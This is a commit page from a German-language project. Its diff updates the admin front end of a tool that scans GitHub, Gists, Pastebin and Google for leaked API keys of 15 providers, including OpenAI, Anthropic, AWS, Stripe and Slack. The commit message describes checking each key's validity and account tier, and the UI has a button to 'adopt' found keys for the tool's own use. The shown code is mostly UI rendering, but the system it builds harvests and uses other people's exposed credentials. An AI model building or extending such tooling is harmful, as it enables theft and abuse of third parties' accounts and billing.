Multi-Provider Key Scanner + Checker (OpenAI, Google, 15 Key-Typen)

- KeyPatterns.cs: Zentrale Pattern-Klasse für 15 Key-Typen
  (Anthropic, OpenAI, Google, AWS, GitHub, GitLab, HuggingFace, Stripe, SendGrid, Slack)
- OpenAiKeyChecker.cs: Prüft sk-proj/sk-svcacct/sk- Keys via /v1/models
  (Org, Modelle, RPM/TPM, Tier-Erkennung Free bis 5+)
- GoogleKeyChecker.cs: Prüft AIza-Keys via Gemini /v1/models
  (Gemini-Modelle, Maps-Key-Erkennung)
- KeyScannerService + GitHubEventScannerService: Dispatch nach Key-Typ
- ApiKeysEndpoint: GET /scanned/summary + ?type= Filter
- Frontend: 2-stufige UI (Typ-Übersicht → Keys pro Typ)
This commit is contained in:
Meleki committed 2026-03-13 20:43:20 +01:00
1 parent eb8844a4f1
commit c8859a89d0
9 files changed
+536 -52

No files matched your search

+2 -1
View File
@@ -234,7 +234,8 @@ function apiCheckAllApiKeys() { return _post('/api/admin/api-keys/check-all', un
function apiTriggerScan(mode) { return _post('/api/admin/api-keys/scan?mode=' + (mode || 'full'), undefined, 'Fehler beim Starten des Scans'); }
function apiScanStatus() { return _get('/api/admin/api-keys/scan/status', {}); }
function apiGetScannedKeys() { return _get('/api/admin/api-keys/scanned', []); }
function apiGetScannedKeys(type) { return _get('/api/admin/api-keys/scanned' + (type ? '?type=' + encodeURIComponent(type) : ''), []); }
function apiGetScannedKeysSummary() { return _get('/api/admin/api-keys/scanned/summary', []); }
function apiRecheckAllScannedKeys() { return _post('/api/admin/api-keys/scanned/recheck-all', undefined, 'Fehler beim Prüfen'); }
function apiRecheckScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/recheck', undefined, 'Fehler beim Prüfen'); }
function apiAdoptScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/adopt', undefined, 'Fehler beim Übernehmen'); }
+111 -12
View File
@@ -323,16 +323,97 @@ registerPage('api-keys', {
var scanStatusEl = document.getElementById('scanStatus');
var scannedList = document.getElementById('scannedKeysList');
var scannedKeys = [];
var selectedType = null;
var pollTimer = null;
var typeNames = {
anthropic_oauth: 'Anthropic OAuth', anthropic_api: 'Anthropic API', anthropic_unknown: 'Anthropic',
openai_project: 'OpenAI Project', openai_service: 'OpenAI Service', openai_legacy: 'OpenAI Legacy',
google_api: 'Google / Gemini', aws_access_key: 'AWS Access Key',
github_pat: 'GitHub PAT', github_oauth: 'GitHub OAuth', gitlab_pat: 'GitLab PAT',
huggingface: 'HuggingFace', stripe_live: 'Stripe Live', stripe_test: 'Stripe Test',
sendgrid: 'SendGrid', slack: 'Slack'
};
var typeIcons = {
anthropic_oauth: '🟠', anthropic_api: '🟠', anthropic_unknown: '🟠',
openai_project: '🟢', openai_service: '🟢', openai_legacy: '🟢',
google_api: '🔵', aws_access_key: '🟡',
github_pat: '⚫', github_oauth: '⚫', gitlab_pat: '🟤',
huggingface: '🤗', stripe_live: '💳', stripe_test: '💳',
sendgrid: '📧', slack: '💬'
};
function renderSummary(summary) {
scannedList.innerHTML = '';
if (!summary || summary.length === 0) {
var empty = document.createElement('div');
empty.className = 'admin-user-meta';
empty.style.padding = '1rem 0';
empty.textContent = 'Keine gescannten Keys vorhanden.';
scannedList.appendChild(empty);
return;
}
summary.forEach(function(s) {
var row = document.createElement('div');
row.className = 'admin-user-row';
row.style.cursor = 'pointer';
var info = document.createElement('div');
info.className = 'admin-user-info';
var nameSpan = document.createElement('span');
nameSpan.className = 'admin-user-name';
var icon = typeIcons[s.type] || '🔑';
nameSpan.textContent = icon + ' ' + (typeNames[s.type] || s.type);
info.appendChild(nameSpan);
var metaSpan = document.createElement('span');
metaSpan.className = 'admin-user-meta';
var parts = [s.total + ' Keys'];
if (s.valid > 0) parts.push('✅ ' + s.valid + ' gültig');
if (s.invalid > 0) parts.push('❌ ' + s.invalid + ' ungültig');
if (s.unchecked > 0) parts.push('⏳ ' + s.unchecked + ' ungeprüft');
if (s.adopted > 0) parts.push('📌 ' + s.adopted + ' übernommen');
metaSpan.textContent = parts.join(' · ');
info.appendChild(metaSpan);
var badge = document.createElement('div');
badge.className = 'admin-user-actions';
badge.innerHTML = '<i class="fa fa-chevron-right" style="opacity:.5"></i>';
row.appendChild(info);
row.appendChild(badge);
row.addEventListener('click', function() { loadScannedKeysByType(s.type); });
scannedList.appendChild(row);
});
}
function renderScannedKeys() {
scannedList.innerHTML = '';
// Zurück-Button
var backRow = document.createElement('div');
backRow.className = 'admin-user-row';
backRow.style.cursor = 'pointer';
backRow.style.opacity = '.7';
var backInfo = document.createElement('div');
backInfo.className = 'admin-user-info';
var backName = document.createElement('span');
backName.className = 'admin-user-name';
backName.innerHTML = '<i class="fa fa-arrow-left"></i> Zurück zur Übersicht';
backInfo.appendChild(backName);
backRow.appendChild(backInfo);
backRow.addEventListener('click', function() { selectedType = null; loadSummary(); });
scannedList.appendChild(backRow);
var visibleKeys = scannedKeys.filter(function(sk) { return sk.adoptedApiKeyId == null; });
if (visibleKeys.length === 0) {
var empty = document.createElement('div');
empty.className = 'admin-user-meta';
empty.style.padding = '1rem 0';
empty.textContent = 'Keine gescannten Keys vorhanden.';
empty.textContent = 'Keine nicht-übernommenen Keys in dieser Kategorie.';
scannedList.appendChild(empty);
return;
}
@@ -361,10 +442,8 @@ registerPage('api-keys', {
var metaSpan = document.createElement('span');
metaSpan.className = 'admin-user-meta';
var metaParts = [];
var sourceIcons = { github: '🐙 GitHub', serper: '🔍 Google', gist: '📋 Gist', pastebin: '📄 Pastebin' };
var sourceIcons = { github: '🐙 GitHub', serper: '🔍 Google', gist: '📋 Gist', pastebin: '📄 Pastebin', github_events: '📡 Events' };
metaParts.push(sourceIcons[sk.source] || sk.source || 'github');
var typeLabels = { anthropic_oauth: 'OAuth', anthropic_api: 'API', anthropic_unknown: 'Anthropic', unknown: '?' };
metaParts.push(typeLabels[sk.type] || sk.type || '?');
metaParts.push(formatKeyStatus(sk.status));
if (sk.plan && sk.plan !== 'Unknown') metaParts.push(sk.plan);
if (sk.checkedAt) metaParts.push(new Date(sk.checkedAt).toLocaleString());
@@ -382,12 +461,13 @@ registerPage('api-keys', {
recheckBtn.className = 'icon-btn';
recheckBtn.title = 'Erneut prüfen';
recheckBtn.innerHTML = '<i class="fa fa-refresh"></i>';
recheckBtn.addEventListener('click', async function() {
recheckBtn.addEventListener('click', async function(e) {
e.stopPropagation();
recheckBtn.innerHTML = '<i class="fa fa-spinner fa-spin"></i>';
recheckBtn.disabled = true;
try {
await apiRecheckScannedKey(sk.scannedKeyId);
await loadScannedKeys();
await loadScannedKeysByType(selectedType);
} catch (err) { showToast(err.message, 'error'); }
finally { recheckBtn.innerHTML = '<i class="fa fa-refresh"></i>'; recheckBtn.disabled = false; }
});
@@ -399,11 +479,12 @@ registerPage('api-keys', {
adoptBtn.className = 'icon-btn';
adoptBtn.title = 'Als API-Key übernehmen';
adoptBtn.innerHTML = '<i class="fa fa-plus-circle" style="color:var(--accent)"></i>';
adoptBtn.addEventListener('click', async function() {
adoptBtn.addEventListener('click', async function(e) {
e.stopPropagation();
try {
await apiAdoptScannedKey(sk.scannedKeyId);
showToast('Key übernommen');
await loadScannedKeys();
await loadScannedKeysByType(selectedType);
await loadKeys();
} catch (err) { showToast(err.message, 'error'); }
});
@@ -415,10 +496,11 @@ registerPage('api-keys', {
delBtn.className = 'icon-btn';
delBtn.title = 'Ignorieren';
delBtn.innerHTML = '<i class="fa fa-trash"></i>';
delBtn.addEventListener('click', async function() {
delBtn.addEventListener('click', async function(e) {
e.stopPropagation();
try {
await apiDeleteScannedKey(sk.scannedKeyId);
await loadScannedKeys();
await loadScannedKeysByType(selectedType);
} catch (err) { showToast(err.message, 'error'); }
});
actions.appendChild(delBtn);
@@ -429,13 +511,30 @@ registerPage('api-keys', {
});
}
async function loadScannedKeys() {
async function loadSummary() {
try {
scannedKeys = await apiGetScannedKeys();
var summary = await apiGetScannedKeysSummary();
renderSummary(summary);
} catch (err) { showToast(err.message, 'error'); }
}
async function loadScannedKeysByType(type) {
selectedType = type;
scannedList.innerHTML = '<div class="admin-user-meta" style="padding:1rem 0"><i class="fa fa-spinner fa-spin"></i> Lade Keys…</div>';
try {
scannedKeys = await apiGetScannedKeys(type);
renderScannedKeys();
} catch (err) { showToast(err.message, 'error'); }
}
async function loadScannedKeys() {
if (selectedType) {
await loadScannedKeysByType(selectedType);
} else {
await loadSummary();
}
}
var scanBtnDefaults = [
{ btn: scanQuickBtn, icon: 'fa-bolt', label: 'Quick' },
{ btn: scanWebBtn, icon: 'fa-globe', label: 'Web' },